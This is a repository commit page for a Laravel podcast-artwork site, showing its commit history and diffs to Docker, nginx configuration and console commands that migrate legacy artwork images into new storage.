53 Commits

Author SHA1 Message Date
7767a46e4f fix: tweaking recovery after db corruption 2026-01-15 02:20:58 +00:00
8b0f496db3 Merge pull request 'fix: minor layout changes and cleanup.' (#10) from fix/minor_cleanup into master
Reviewed-on: #10
2025-12-08 12:10:03 -05:00
52ff018c89 fix: minor layout changes and cleanup. 2025-12-08 17:08:25 +00:00
667f0acd83 Adds latest episode api endpoint and some other minor modifications. 2025-07-27 16:44:50 +00:00
97b018f2bc updating adminer to 4.17.1 2025-03-07 05:54:40 +00:00
96846d3cf9 fix: fix typo in episode blade. 2024-05-26 13:02:19 -05:00
e552dbab07 fix: minor fixes for templates. 2024-05-26 06:48:58 -05:00
346193983f fix: updated, added filament, misc hotfixes. 2024-05-26 02:12:32 +00:00
e25b617327 fix: prevents self approval (#8)
Reviewed-on: #8
Co-authored-by: Paul Couture <paul@paulcouture.com>
Co-committed-by: Paul Couture <paul@paulcouture.com>
2024-01-14 11:22:16 -06:00
b14a77762d fix: modifying borken profile items (#7)
Reviewed-on: #7
Co-authored-by: Paul Couture <paul@paulcouture.com>
Co-committed-by: Paul Couture <paul@paulcouture.com>
2024-01-13 13:16:33 -06:00
a989f3e92b fix: fixes artwork count on podcasts index page (#6)
Reviewed-on: #6
Co-authored-by: Paul Couture <paul@paulcouture.com>
Co-committed-by: Paul Couture <paul@paulcouture.com>
2024-01-13 11:46:38 -06:00
b8d1a164f1 Merge pull request 'fix: limit episode art to approved arworks' (#5) from fix/episode_filter_unapproved into master
Reviewed-on: #5
2024-01-13 11:32:21 -06:00
37d496bbca fix: limit episode art to approved arworks 2024-01-13 11:30:38 -06:00
eb931bbb6a feat: adds ability for approved users to approve artwork 2024-01-13 10:45:40 -06:00
bc66edb3ce feat: cleanup after move to new production server. 2024-01-07 14:24:04 +00:00
e10736d51e fix: updated yarn.lock 2024-01-06 17:42:08 +00:00
9101bab010 fix: updating default favicon 2024-01-06 17:15:44 +00:00
1d56e833a8 fix: migrating to bare metal. 2024-01-06 15:59:04 +00:00
ac28e86e68 fix: fixing unpublished artwork epsideo card 2023-12-22 23:17:53 -06:00
97fa5a6f9f fix: adding noscript to hide pre-loader. 2023-12-22 12:18:48 -06:00
bf30235e1d fix: allowing users to change artist display name. 2023-12-21 15:31:06 -06:00
c46664492d fix: removing broken links to unpublished episodes 2023-12-21 15:17:18 -06:00
06e5101199 fix: removing broken links to unpublished episodes 2023-12-21 15:00:54 -06:00
9630f331a2 fix: moving v4v on artist cards. 2023-12-21 16:49:18 +00:00
173986da5e fix: user can update bio info 2023-12-21 10:20:49 -06:00
ca34ab4b37 fix: login with username or email added. 2023-12-21 05:16:15 +00:00
a156a44130 fix: adding ability to update artist bg 2023-12-20 19:45:19 +00:00
87198b46a5 fix: optimized artists index 2023-12-20 07:07:33 +00:00
40024b69ae fix: setting up gcm 2023-12-20 07:01:38 +00:00
aa79de5688 fix: adding restart directives to docker compose 2023-12-20 06:53:00 +00:00
f7a27e7f62 fix: added og headers, lots of cleanup. 2023-12-20 01:02:15 +00:00
7772be7dc5 fix: adding indexes to tables 2023-12-18 09:44:09 -06:00
d5c7e9e4f5 fix: performance tweak for submitted page 2023-12-18 09:28:45 -06:00
89450f0b79 fix: performance tweaks. 2023-12-18 15:20:45 +00:00
23e551374a fix: caching the leaderboard 2023-12-17 23:22:54 -06:00
3e3e76773c fix: fixing avatar widths 2023-12-17 16:31:07 -06:00
a6dc77feff fix: changing num per page on submitted. 2023-12-17 16:01:35 -06:00
3b45563ce5 fix: adding cache missing from artwork controller 2023-12-17 15:55:54 -06:00
ae697fbaae fix: caching podcasts list 2023-12-17 15:51:24 -06:00
ebdc50a697 fix: fixing issues found at launch 2023-12-17 21:43:00 +00:00
3d3029ceb6 fix: adding user avatar editing 2023-12-17 12:32:35 -06:00
a2ecb62a05 fix: themed manage account forms 2023-12-16 11:40:39 -06:00
a4bd889d23 fix: modifying profile edit pages, added trusted proxies 2023-12-16 15:51:30 +00:00
4ba362b4fd fix: tweaking profile update template. 2023-12-15 10:00:01 -06:00
c55bec5b28 fix: fixing guest header 2023-12-15 01:03:28 -06:00
efba3dff84 fix: fixing login and forgot password 2023-12-15 00:53:04 -06:00
81525acb82 fix: guest blade issues 2023-12-14 23:17:34 -06:00
f39ce73978 fix: fixing footer navigation 2023-12-14 22:47:10 -06:00
ebd803282c fix: cleanup artwork and episode template 2023-12-14 22:22:57 -06:00
a37789ff8a fix: correcting issues on artist profile page. 2023-12-14 21:57:33 -06:00
2e3b848ff5 fix: initial changes to allow for intial deployment (#4)
Reviewed-on: #4
Co-authored-by: Paul Couture <paul@paulcouture.com>
Co-committed-by: Paul Couture <paul@paulcouture.com>
2023-12-14 20:59:11 -06:00
26c4b2c959 fix: fixing naming conventions for initial deployment. (#3)
Reviewed-on: #3
Co-authored-by: Paul Couture <paul@paulcouture.com>
Co-committed-by: Paul Couture <paul@paulcouture.com>
2023-12-14 15:21:54 -06:00
c4398c641e feat/factory_creation (#1)
Prepping for launch.

Reviewed-on: #1
Co-authored-by: Paul Couture <paul@paulcouture.com>
Co-committed-by: Paul Couture <paul@paulcouture.com>
2023-12-14 11:33:03 -06:00
387 changed files with 64352 additions and 5644 deletions

9
.gitignore vendored
View File

@@ -20,6 +20,7 @@ public_html/hot
db/data/ db/data/
db/dump/ db/dump/
static/dist/ static/dist/
static/*
storage/*.key storage/*.key
@@ -28,4 +29,10 @@ Homestead.yaml
Homestead.json Homestead.json
/.vagrant /.vagrant
.phpunit.result.cache .phpunit.result.cache
legacypublic
migrated_artworks_files.tar.gz
migrated_thumbnail_files.tar.gz
site/.yarn/releases/yarn-1.22.19.cjs
site/public/assets
redis/*
staticassets

3
Dockerfile Normal file
View File

@@ -0,0 +1,3 @@
FROM shinsenter/laravel:latest
RUN apt update && apt install -y jpegoptim optipng pngquant gifsicle webp libavif-bin

View File

@@ -4,7 +4,7 @@ Modernizing the No Agenda Art Generator.
Since 2010, the [No Agenda Art Generator](https://noagendaartgenerator.com) has been producing album art for the [No Agenda Podcast](https://noagendashow.net) live via community collaboration by the artists that make up the best podcast art creators in the universe. Since 2010, the [No Agenda Art Generator](https://noagendaartgenerator.com) has been producing album art for the [No Agenda Podcast](https://noagendashow.net) live via community collaboration by the artists that make up the best podcast art creators in the universe.
In October 2016, the 2.0 release of the Art Generator began based on Laravel 4.2. It has served the podcast and community well, but this project seeks to make it easier for collaborators to contribute, modify, and maintain the art generator while making the product available to more podcasts and artists. In October 2014, the 2.0 release of the Art Generator began based on Laravel 4.2. It has served the podcast and community well, but this project seeks to make it easier for collaborators to contribute, modify, and maintain the art generator while making the product available to more podcasts and artists.
### License ### License

View File

@@ -3,22 +3,28 @@ version: '3'
services: services:
laravel-app: laravel-app:
env_file: .env env_file: .env
image: shinsenter/laravel:latest build:
context: .
dockerfile: Dockerfile
container_name: ${CONTAINER_NAME:-pcag-laravel}
volumes: volumes:
- ./site:/var/www/html - ${PATH_TO_SITE}:/var/www/html
- ./static:/static - ${PATH_TO_STATIC}:/static
- ./nginx/default.conf:/etc/nginx/sites-available/default
- ./nginx/nginx.conf:/etc/nginx/nginx.conf
environment: environment:
TZ: UTC TZ: UTC
PUID: ${UID:-1000} PUID: ${UID:-1000}
PGID: ${GID:-1000} PGID: ${GID:-1000}
REDIS_HOST: redis REDIS_HOST: redis
DB_HOST: db DB_HOST: db
DB_DATABASE: ${DB_DATABASE} DB_DATABASE: ${LIVE_DB_DATABASE}
DB_USERNAME: ${DB_USERNAME} DB_USERNAME: ${LIVE_DB_USERNAME}
DB_PASSWORD: ${DB_PASSWORD} DB_PASSWORD: ${LIVE_DB_PASSWORD}
# LARAVEL_QUEUE_ENABLED: true LARAVEL_QUEUE_ENABLED: true
# LARAVEL_QUEUE_OPTIONS: --timeout=60 --tries=3 redis LARAVEL_QUEUE_OPTIONS: --timeout=60 --tries=3 redis
# LARAVEL_SCHEDULE_ENABLED: true LARAVEL_SCHEDULE_ENABLED: true
PHP_OPEN_BASEDIR: "/var/www/html:/static"
ports: ports:
- "80:80" - "80:80"
links: links:
@@ -28,7 +34,7 @@ services:
static: static:
image: nginx:alpine image: nginx:alpine
volumes: volumes:
- ./static:/usr/share/nginx/html:ro - ./static:/usr/share/nginx/html
environment: environment:
TZ: UTC TZ: UTC
PUID: ${UID:-1000} PUID: ${UID:-1000}
@@ -40,10 +46,10 @@ services:
env_file: .env env_file: .env
environment: environment:
TZ: UTC TZ: UTC
MARIADB_ROOT_PASSWORD: ${DB_ROOT_PASSWORD} MARIADB_ROOT_PASSWORD: ${LIVE_DB_ROOT_PASSWORD}
MARIADB_USER: ${DB_USERNAME} MARIADB_USER: ${LIVE_DB_USERNAME}
MARIADB_DATABASE: ${DB_DATABASE} MARIADB_DATABASE: ${LIVE_DB_DATABASE}
MARIADB_PASSWORD: ${DB_PASSWORD} MARIADB_PASSWORD: ${LIVE_DB_PASSWORD}
volumes: volumes:
- "./db/data:/var/lib/mysql" - "./db/data:/var/lib/mysql"
- "./db/dump:/docker-entrypoint-initdb.d" - "./db/dump:/docker-entrypoint-initdb.d"

42
nginx/default.conf Normal file
View File

@@ -0,0 +1,42 @@
server {
listen 80 default_server;
listen [::]:80 default_server;
listen 443 ssl http2;
listen [::]:443 ssl http2;
server_name _;
root /var/www/html/public;
index index.html index.htm index.php;
# SSL
ssl_certificate /etc/ssl/web/server.crt;
ssl_certificate_key /etc/ssl/web/server.key;
# additional config
include extra.d/*.conf;
# health check
location /ping {
access_log off;
include snippets/fastcgi-php.conf;
fastcgi_read_timeout 5s;
fastcgi_pass unix:/var/run/php/php-fpm.sock;
}
location ^~ /livewire {
try_files $uri $uri/ /index.php?$query_string;
}
# handle .php
location ~ \.php$ {
fastcgi_pass unix:/var/run/php/php-fpm.sock;
fastcgi_param SCRIPT_FILENAME $realpath_root$fastcgi_script_name;
include snippets/fastcgi-php.conf;
}
# index.php fallback
location / {
try_files $uri $uri/ /index.php?$query_string;
}
}

View File

@@ -0,0 +1,11 @@
#snippets/legacy_mappings.conf
map $uri $legacy_mapping {
~^/assets/(?<filename>.+)$ $filename;
default $uri;
}
map $filename $modified_filename {
~/(.*) $1---;
default $filename;
}

145
nginx/nginx.conf Normal file
View File

@@ -0,0 +1,145 @@
# Generated by nginxconfig.io
# https://www.serverion.com/nginx-config/#?0.domain=_&0.path=%2Fvar%2Fwww%2Fhtml&0.redirect=false&0.force_https=false&0.cert_type=custom&0.ssl_certificate=%2Fetc%2Fssl%2Fweb%2Fserver.crt&0.ssl_certificate_key=%2Fetc%2Fssl%2Fweb%2Fserver.key&0.wordpress&0.proxy_path=%2Fping&0.proxy_pass=unix:%2Fvar%2Frun%2Fphp%2Fphp-fpm.sock&0.index=index.html&content_security_policy=default-src%20'self'%20http:%20https:%20data:%20blob:%20'unsafe-inline';%20frame-ancestors%20'self';&php_server=%2Fvar%2Frun%2Fphp%2Fphp7.3-fpm.sock&expires_media=max&expires_svg=max&expires_fonts=max&user=www-data%20www-data&client_max_body_size=2048&symlink=false
pcre_jit on;
worker_processes auto;
worker_rlimit_nofile 100000;
user www-data www-data;
events {
worker_connections 65535;
use epoll;
multi_accept on;
}
http {
# define common MIME types
include mime.types;
# define the default MIME type
default_type application/octet-stream;
# disable emitting nginx version
server_tokens off;
# disable the directory listing output
autoindex off;
# disable automatic generation of the "ETag"
etag off;
# disable warnings about uninitialized variables are logged
uninitialized_variable_warn off;
# ======================================================================== #
# the bucket size for the maps hash table
map_hash_bucket_size 256;
map_hash_max_size 4096;
# the bucket size for the server names hash tables
server_names_hash_bucket_size 256;
server_names_hash_max_size 4096;
# the bucket size for variables hash tables
variables_hash_max_size 4096;
variables_hash_bucket_size 4096;
# ======================================================================== #
# cache informations about FDs, frequently accessed files
# can boost performance, but you need to test those values
open_file_cache max=200000 inactive=30s;
open_file_cache_valid 30s;
open_file_cache_min_uses 1;
open_file_cache_errors off;
open_log_file_cache max=10 inactive=30s min_uses=1 valid=5m;
# ======================================================================== #
# logging
access_log /var/log/nginx/access.log;
error_log /var/log/nginx/error.log error;
# to boost I/O on HDD we can disable access logs
log_not_found off;
log_subrequest off;
rewrite_log on;
# copies data between one FD and other from within the kernel
# faster than read() + write()
sendfile off;
sendfile_max_chunk 1m;
# send headers in one piece, it is better than sending them one by one
tcp_nopush on;
# don't buffer data sent, good for small data bursts in real time
tcp_nodelay on;
# large files can be read and sent using multi-threading
# without blocking a worker process
aio threads;
directio 1m;
# how to compare modification time
ssi on;
if_modified_since off;
# set default size of the slice
slice 1m;
# ======================================================================== #
# allow the server to close connection on non responding client,
# this will free up memory
reset_timedout_connection on;
# timeout for reading client request header -- default: 60
client_header_timeout 10s;
# request timed out -- default: 60
client_body_timeout 75s;
# if the request body size is more than the buffer size, then the entire (or partial)
# request body is written into a temporary file
client_body_buffer_size 128k;
# if client stop responding, free up memory -- default: 60
send_timeout 30s;
# server will close connection after this time -- default: 75
keepalive_timeout 30s;
# number of requests client can make over keep-alive
keepalive_requests 100000;
# maximum number and size of buffers
# for large headers to read from client request -- default: 4 8k;
large_client_header_buffers 4 16k;
# ======================================================================== #
# SSL
ssl_session_timeout 1d;
ssl_session_cache shared:SSL:10m;
ssl_session_tickets off;
# Diffie-Hellman parameter for DHE ciphersuites
ssl_dhparam /etc/ssl/dhparam.pem;
# Mozilla Intermediate configuration
ssl_protocols TLSv1.2 TLSv1.3;
ssl_ciphers ECDHE-ECDSA-AES128-GCM-SHA256:ECDHE-RSA-AES128-GCM-SHA256:ECDHE-ECDSA-AES256-GCM-SHA384:ECDHE-RSA-AES256-GCM-SHA384:ECDHE-ECDSA-CHACHA20-POLY1305:ECDHE-RSA-CHACHA20-POLY1305:DHE-RSA-AES128-GCM-SHA256:DHE-RSA-AES256-GCM-SHA384;
# OCSP Stapling
# ssl_stapling on;
# ssl_stapling_verify on;
resolver 1.1.1.1 1.0.0.1 8.8.8.8 8.8.4.4 208.67.222.222 208.67.220.220 valid=60s;
resolver_timeout 2s;
# ======================================================================== #
include /etc/nginx/conf.d/*.conf;
include /etc/nginx/sites-enabled/*;
}

1977
nginx/phpfpm8_2.ini Normal file

File diff suppressed because it is too large Load Diff

View File

@@ -0,0 +1,51 @@
<?php
namespace App\Console\Commands;
use Illuminate\Console\Command;
use App\Models\Artwork;
use App\Models\Episode;
use Illuminate\Support\Facades\DB;
class AddMissingArtworkIdsToEpisodes extends Command
{
/**
* The name and signature of the console command.
*
* @var string
*/
protected $signature = 'naart:artwork-to-episodes';
/**
* The console command description.
*
* @var string
*/
protected $description = 'Command description';
/**
* Execute the console command.
*/
public function handle()
{
$oldEpisodes = DB::connection('legacy')->select('SELECT * FROM episodes WHERE artwork_id IS NOT NULL AND published = 1');
foreach($oldEpisodes as $oldEpisode) {
$this->info('Checking old episode ' . $oldEpisode->show_date);
$episode = Episode::where('legacy_id', $oldEpisode->id)->first();
$artwork = Artwork::where('legacy_id', $oldEpisode->artwork_id)->first();
if ($episode && $artwork) {
$this->line('Have artwork ' . $artwork->title . ' for episode ' . $episode->title);
$episode->artwork_id = $artwork->id;
$episode->timestamps = false;
if ($episode->isDirty()) {
$this->info('I need to update this.');
//$episode->save();
} else {
$this->line('No Change Needed.');
}
} else {
$this->error('I am lost.');
}
}
}
}

View File

@@ -0,0 +1,346 @@
<?php
namespace App\Console\Commands;
use Illuminate\Console\Command;
use App\Models\Artwork;
use App\Models\Episode;
use App\Models\Artist;
use App\Models\Podcast;
use Illuminate\Support\Facades\DB;
use Illuminate\Support\Str;
use Illuminate\Support\Facades\Storage;
use Intervention\Image\Facades\Image;
use Carbon\Carbon;
use ImageOptimizer;
class AddMissingV3ArtworksCommand extends Command
{
/**
* The name and signature of the console command.
*
* @var string
*/
protected $signature = 'app:add-missing-v3-artworks-command';
/**
* The console command description.
*
* @var string
*/
protected $description = 'Command description';
/**
* Execute the console command.
*/
public function handle()
{
$missing_artworks = [
[
'url' => 'https://noagenda.dev/old/img/7e5e1ca05eb622e2.png',
'title' => 'Show Art 1613',
'artist' => 'dirty-jersey-whore',
'artist_id' => 1318,
'episode' => 1613,
],
[
'url' => 'https://noagenda.dev/old/img/6ac5a1220e954d10.jpg',
'title' => 'No Stinkin\' Title Provided',
'artist' => 'dirty-jersey-whore',
'artist_id' => 1318,
'episode' => 1613,
],
[
'url' => 'https://noagenda.dev/old/img/eb9c5a07a25db93b.jpg',
'title' => 'McMystery',
'artist' => 'Nessworks',
'artist_id' => 1159,
'episode' => 1614,
],
[
'url' => 'https://noagenda.dev/old/img/16dce3f9249b42e8.png',
'title' => 'Blinking Red Lights!',
'artist' => 'mountainjay',
'artist_id' => 891,
'episode' => 1614,
],
[
'url' => 'https://noagenda.dev/old/img/8a6153d61715434b.jpg',
'title' => 'Day One Dictator!',
'artist' => 'matthewdropco1972',
'artist_id' => 1173,
'episode' => 1614,
],
[
'url' => 'https://noagenda.dev/old/img/bf6322f359b0727f.png',
'title' => 'Vivek\'s Notebook',
'artist' => 'sir-paul-couture',
'artist_id' => 4,
'episode' => 1614,
],
[
'url' => 'https://noagenda.dev/old/img/81e71a8e2b24874b.jpg',
'title' => 'Plastic Shoes',
'artist' => 'Nessworks',
'artist_id' => 1159,
'episode' => 1614,
],
[
'url' => 'https://noagenda.dev/old/img/51f16e95c0e86cc9.jpg',
'title' => 'My Transhausen Blewupen',
'artist' => 'francisco-scaramanga',
'artist_id' => 1377,
'episode' => 1614,
],
[
'url' => 'https://noagenda.dev/old/img/b3b6c7988b5fd7f0.jpeg',
'title' => 'McPartner',
'artist' => 'dame-kenny-ben',
'artist_id' => 1121,
'episode' => 1614,
],
[
'url' => 'https://noagenda.dev/old/img/c9c52179e5eedc6f.png',
'title' => 'Red Flashing Lights',
'artist' => 'jack-evans',
'artist_id' => 1224,
'episode' => 1614,
],
[
'url' => 'https://noagenda.dev/old/img/2a29bb2974959b8a.jpg',
'title' => 'Threat Level Swift',
'artist' => 'darren-oneill',
'artist_id' => 756,
'episode' => 1614,
],
[
'url' => 'https://noagenda.dev/old/img/0ed3c698ba336ea9.jpg',
'title' => 'Blinking Lights',
'artist' => 'matthewdropco1972',
'artist_id' => 1173,
'episode' => 1614,
],
[
'url' => 'https://noagenda.dev/old/img/04658d1ccb786d26.png',
'title' => 'Deep State University, In The Morning',
'artist' => 'mountainjay',
'artist_id' => 891,
'episode' => 1614,
],
[
'url' => 'https://noagenda.dev/old/img/61273125525b7861.jpg',
'title' => 'Chad GPT',
'artist' => 'Nessworks',
'artist_id' => 1159,
'episode' => 1615,
],
[
'url' => 'https://noagenda.dev/old/img/479090be93d46fad.jpg',
'title' => 'Chet GPT',
'artist' => 'Nessworks',
'artist_id' => 1159,
'episode' => 1615,
],
[
'url' => 'https://noagenda.dev/old/img/a533697498ad7f75.png',
'title' => 'Word Salad, Roundy Variant',
'artist' => 'comic-strip-blogger',
'artist_id' => 680,
'episode' => 1615,
],
[
'url' => 'https://noagenda.dev/old/img/bcd81059b0440049.png',
'title' => 'word salad (that AI allegedly produces)',
'artist' => 'comic-strip-blogger',
'artist_id' => 680,
'episode' => 1615,
],
[
'url' => 'https://noagenda.dev/old/img/ddfbcc471e4f265f.png',
'title' => 'microphone hand (without show number)',
'artist' => 'comic-strip-blogger',
'artist_id' => 680,
'episode' => 1615,
],
[
'url' => 'https://noagenda.dev/old/img/c11e2b8a88774fca.png',
'title' => 'microphone hand',
'artist' => 'comic-strip-blogger',
'artist_id' => 680,
'episode' => 1615,
],
[
'url' => 'https://noagenda.dev/old/img/f0c08370c93980b8.jpg',
'title' => 'Bye Joe',
'artist' => 'darren-oneill',
'artist_id' => 756,
'episode' => 1615,
],
[
'url' => 'https://noagenda.dev/old/img/9fc5c17fc0ec547e.jpg',
'title' => 'Coof Train',
'artist' => 'darren-oneill',
'artist_id' => 756,
'episode' => 1615,
],
[
'url' => 'https://noagenda.dev/old/img/99e317f0dd6dd10c.jpg',
'title' => 'Comb Your Hair!',
'artist' => 'Nessworks',
'artist_id' => 1159,
'episode' => 1615,
],
[
'url' => 'https://noagenda.dev/old/img/c579a7ef6ab53869.jpg',
'title' => 'Milgram',
'artist' => 'clip-custodian',
'artist_id' => 1431,
'episode' => 1615,
],
[
'url' => 'https://noagenda.dev/old/img/ba791114371437bc.jpeg',
'title' => '67% are Killers',
'artist' => 'dame-kenny-ben',
'artist_id' => 1121,
'episode' => 1615,
],
[
'url' => 'https://noagenda.dev/old/img/05b40baf17249ea5.jpg',
'title' => 'Garage Sale Find',
'artist' => 'francisco-scaramanga',
'artist_id' => 1377,
'episode' => 1615,
],
[
'url' => 'https://noagenda.dev/old/img/fc626cd5542c71d8.jpg',
'title' => 'NA Show Art',
'artist' => 'monsieur-pierrey',
'artist_id' => 58,
'episode' => 1615,
],
[
'url' => 'https://noagenda.dev/old/img/2dc17c67400465ad.jpg',
'title' => 'Merry Christmas Ukraine',
'artist' => 'clip-custodian',
'artist_id' => 1431,
'episode' => 1616,
],
[
'url' => 'https://noagenda.dev/old/img/18724b09fd552fc0.jpg',
'title' => 'THE END IS HERE',
'artist' => 'francisco-scaramanga',
'artist_id' => 1377,
'episode' => 1616,
],
[
'url' => 'https://noagenda.dev/old/img/cefbe40e1afdf45c.jpg',
'title' => 'AI Winter is Coming',
'artist' => 'Nessworks',
'artist_id' => 1159,
'episode' => 1616,
],
[
'url' => 'https://noagenda.dev/old/img/045db414cd60cf2a.jpg',
'title' => 'Space Race Force',
'artist' => 'Nessworks',
'artist_id' => 1159,
'episode' => 1616,
],
[
'url' => 'https://noagenda.dev/old/img/f817a154c260076f.png',
'title' => 'No Agenda Verse',
'artist' => 'comic-strip-blogger',
'artist_id' => 680,
'episode' => 1616,
],
[
'url' => 'https://noagenda.dev/old/img/618ddba291dbe349.png',
'title' => 'NA Show Art',
'artist' => 'comic-strip-blogger',
'artist_id' => 680,
'episode' => 1616,
],
[
'url' => 'https://noagenda.dev/old/img/322eda9c9e44933c.jpg',
'title' => 'Chinese Satellite',
'artist' => 'darren-oneill',
'artist_id' => 756,
'episode' => 1616,
],
[
'url' => 'https://noagenda.dev/old/img/2c9ecc0646cc49dc.jpeg',
'title' => 'Naked No Agenda',
'artist' => 'KorrectDaRekard',
'artist_id' => 1021,
'episode' => 1616,
],
[
'url' => 'https://noagenda.dev/old/img/96ba274872584092.jpg',
'title' => 'NA Show Art',
'artist' => 'matthewdropco1972',
'artist_id' => 1173,
'episode' => 1616,
],
[
'url' => 'https://noagenda.dev/old/img/af8ab3953ba21524.jpg',
'title' => 'False Idols',
'artist' => 'matt-boisvert',
'artist_id' => 1368,
'episode' => 1616,
],
[
'url' => 'https://noagenda.dev/old/img/ec5e76093063d663.jpg',
'title' => 'Collect Them All!',
'artist' => 'matt-boisvert',
'artist_id' => 1368,
'episode' => 1616,
],
[
'url' => 'https://noagenda.dev/old/img/c28ec70cfd544c9b.jpg',
'title' => 'Santa\'s New List',
'artist' => 'matt-boisvert',
'artist_id' => 1368,
'episode' => 1616,
],
[
'url' => 'https://noagenda.dev/old/img/6d228246fb744cb7.jpg',
'title' => 'Christmas is Coming',
'artist' => 'matt-boisvert',
'artist_id' => 1368,
'episode' => 1616,
],
];
foreach ($missing_artworks as $art) {
$artist = Artist::find($art['artist_id']);
$episode = Episode::where('episode_number', $art['episode'])->first();
$this->line('Artist: ' . $artist->slug);
$this->line('Episode: ' . $episode->episode_date->format('Y-m-d'));
$artwork = new Artwork;
$artwork->title = $art['title'];
$artwork->artist_id = $artist->id;
$artwork->created_at = $episode->episode_date->format('Y-m-d ' . now()->format('H:i:s'));
$artwork->updated_at = $episode->episode_date->format('Y-m-d ' . now()->format('H:i:s'));
$artwork->episode_id = $episode->id;
$artwork->podcast_id = 1;
$artwork->approved_by = 4;
$basename = $episode->episode_date->format('Y/m/')
. Str::slug($artist->name)
. '_'
. Str::slug($art['title'])
. '_'
. Str::random(8)
. '.jpg';
$artwork->filename = $basename;
$artwork->save();
$filename = 'artworks/' . $basename;
$thumbnailName = 'thumbnails/' . $basename;
$this->line($basename);
$img = Image::make(file_get_contents($art['url']))->resize(3000, 3000)->encode('jpg', 100);
$thumbImg = Image::make(file_get_contents($art['url']))->resize(512, 512)->encode('jpg', 100);
$imgLocation = Storage::disk('static')->put($filename, $img);
$thumbLocation = Storage::disk('static')->put($thumbnailName, $thumbImg);
ImageOptimizer::optimize(Storage::disk('static')->path($filename));
ImageOptimizer::optimize(Storage::disk('static')->path($thumbnailName));
}
}
}

View File

@@ -0,0 +1,125 @@
<?php
namespace App\Console\Commands;
use Illuminate\Console\Command;
use Illuminate\Support\Facades\DB;
use Illuminate\Support\Str;
use Intervention\Image\Facades\Image;
use Illuminate\Support\Facades\Storage;
use Carbon\Carbon;
use App\Models\User;
use App\Models\Artist;
use App\Models\Podcast;
use App\Models\Episode;
use App\Models\Artwork;
use ImageOptimizer;
class GetMissingArtworkMovedCommand extends Command
{
/**
* The name and signature of the console command.
*
* @var string
*/
protected $signature = 'naart:wrapup';
/**
* The console command description.
*
* @var string
*/
protected $description = 'Command description';
/**
* Execute the console command.
*/
public function handle()
{
$missingArtworks = DB::connection('legacy')->select('SELECT * FROM artworks WHERE id > 30835 AND approved_by IS NOT NULL');
foreach ($missingArtworks as $missingArtwork) {
$localPath = '/legacypublic' . $missingArtwork->path . '/' . $missingArtwork->filename;
$user = User::where('legacy_id', $missingArtwork->user_id)->with('artists')->first();
$artwork = Artwork::where('legacy_id', $missingArtwork->id)->first();
$episode = Episode::where('legacy_id', $missingArtwork->episode_id)->first();
$approver = User::where('legacy_id', $missingArtwork->approved_by)->with('artists')->first();
if ($artwork) {
$this->line('Artwork ID: ' . $artwork->id);
}
if ($episode) {
$this->line('Episode: ' . $episode->episode_number . ' "' . $episode->title . '"');
}
if (!$artwork) {
$newFilename = $this->uniqueName($episode, $user, $missingArtwork);
$state = [
'title' => $missingArtwork->title,
'description' => '',
'artist_id' => $user->artists->first()->id,
'episode_id' => $episode->id,
'podcast_id' => 1,
'overlay_id' => null,
'filename' => $newFilename . '.jpg',
'created_at' => Carbon::parse($missingArtwork->created_at),
'updated_at' => Carbon::parse($missingArtwork->updated_at),
'legacy_id' => $missingArtwork->id,
'approved_by' => $approver->artists->first()->id,
];
$artwork = Artwork::factory()->state($state)->create();
}
$this->line('Artist: ' . $user->artists->first()->name);
$this->line($localPath);
$filename = 'artworks/' . $artwork->filename;
$thumbnailName = 'thumbnails/' . $artwork->filename;
if (Storage::disk('static')->exists($filename)) {
$this->error($filename . ' already exists. ' . Storage::disk('static')->size($filename));
}
if (Storage::disk('static')->exists($thumbnailName)) {
$this->error($thumbnailName . ' already exists. ' . Storage::disk('static')->size($thumbnailName));
}
$img = Image::make($localPath)
->resize(3000, null, function ($constraint) {
$constraint->aspectRatio();
})
->encode('jpg', 100);
$thumbImg = Image::make($localPath)
->resize(512, null, function ($constraint) {
$constraint->aspectRatio();
})
->encode('jpg', 100);
$imgLocation = Storage::disk('static')->put($filename, $img);
$thumbLocation = Storage::disk('static')->put($thumbnailName, $thumbImg);
$size_before = Storage::disk('static')->size($filename);
$thumb_size_before = Storage::disk('static')->size($thumbnailName);
ImageOptimizer::optimize(Storage::disk('static')->path($filename));
ImageOptimizer::optimize(Storage::disk('static')->path($thumbnailName));
$size_after = Storage::disk('static')->size($filename);
$thumb_size_after = Storage::disk('static')->size($thumbnailName);
$diff = $size_before - $size_after;
$thumbDiff = $thumb_size_before - $thumb_size_after;
$this->line('Filesize before: ' . $size_before);
$this->line('Filesize after: ' . $size_after);
$this->line('Thumb Filesize before: ' . $thumb_size_before);
$this->line('Thumb Filesize after: ' . $thumb_size_after);
}
}
private function checkExistingFilename($name) {
$checkArtwork = Artwork::where('filename', $name . '.jpg')->count();
return $checkArtwork;
}
private function uniqueName($episode, $user, $missingArtwork) {
$i = 0;
$uniqueFilename = $episode->episode_date->format('Y/m/') . Str::slug($user->artists->first()->name . '-' . $missingArtwork->title) . '_' . $missingArtwork->id;
$exists = $this->checkExistingFilename($uniqueFilename);
if (!$exists) {
return $uniqueFilename;
}
while(!$exists) {
$i++;
$uniqueFilename = $uniqueFilename . '_v' . $i;
$exists = $this->checkExistingFilename($uniqueFilename);
}
return $uniqueFilename;
}
}

View File

@@ -0,0 +1,111 @@
<?php
namespace App\Console\Commands;
use Illuminate\Console\Command;
use Illuminate\Support\Facades\DB;
use Illuminate\Support\Facades\Storage;
use Illuminate\Support\Str;
use Carbon\Carbon;
use Intervention\Image\Facades\Image;
use ImageOptimizer;
use App\Models\User;
use App\Models\Artist;
use App\Models\Artwork;
use App\Models\Podcast;
use App\Models\Episode;
class ImportMissingLegacyArtworkCommand extends Command
{
/**
* The name and signature of the console command.
*
* @var string
*/
protected $signature = 'naart:import-legacy-artwork {legacy_artwork_id}';
/**
* The console command description.
*
* @var string
*/
protected $description = 'Used to import a single legacy artwork item that was missed in the migration.';
/**
* Execute the console command.
*/
public function handle()
{
$legacyArtwork = DB::connection('legacy')->table('artworks')->where('id', $this->argument('legacy_artwork_id'))->first();
$legacyEpisode = DB::connection('legacy')->table('episodes')->where('id', $legacyArtwork->episode_id)->first();
dump($legacyEpisode);
dump($legacyArtwork);
$user = User::where('legacy_id', $legacyArtwork->user_id)->with('artists')->first();
$artist = $user->artists->first();
dump($artist);
$podcast = Podcast::find(1);
$episode = Episode::where('episode_number', $legacyEpisode->episode_number)->first();
dump($episode);
$date = Carbon::parse($legacyArtwork->created_at);
$basename = $date->format('Y')
. '/'
. $date->format('m')
. '/'
. Str::slug($artist->name)
. '_'
. Str::slug($legacyArtwork->title)
. '_'
. Str::random(8)
. '.jpg';
$thumbnailName = 'thumbnails/' . $basename;
$artworkName = 'artworks/' . $basename;
$artworkExists = Artwork::where('artist_id', $artist->id)
->where('episode_id', $episode->id)
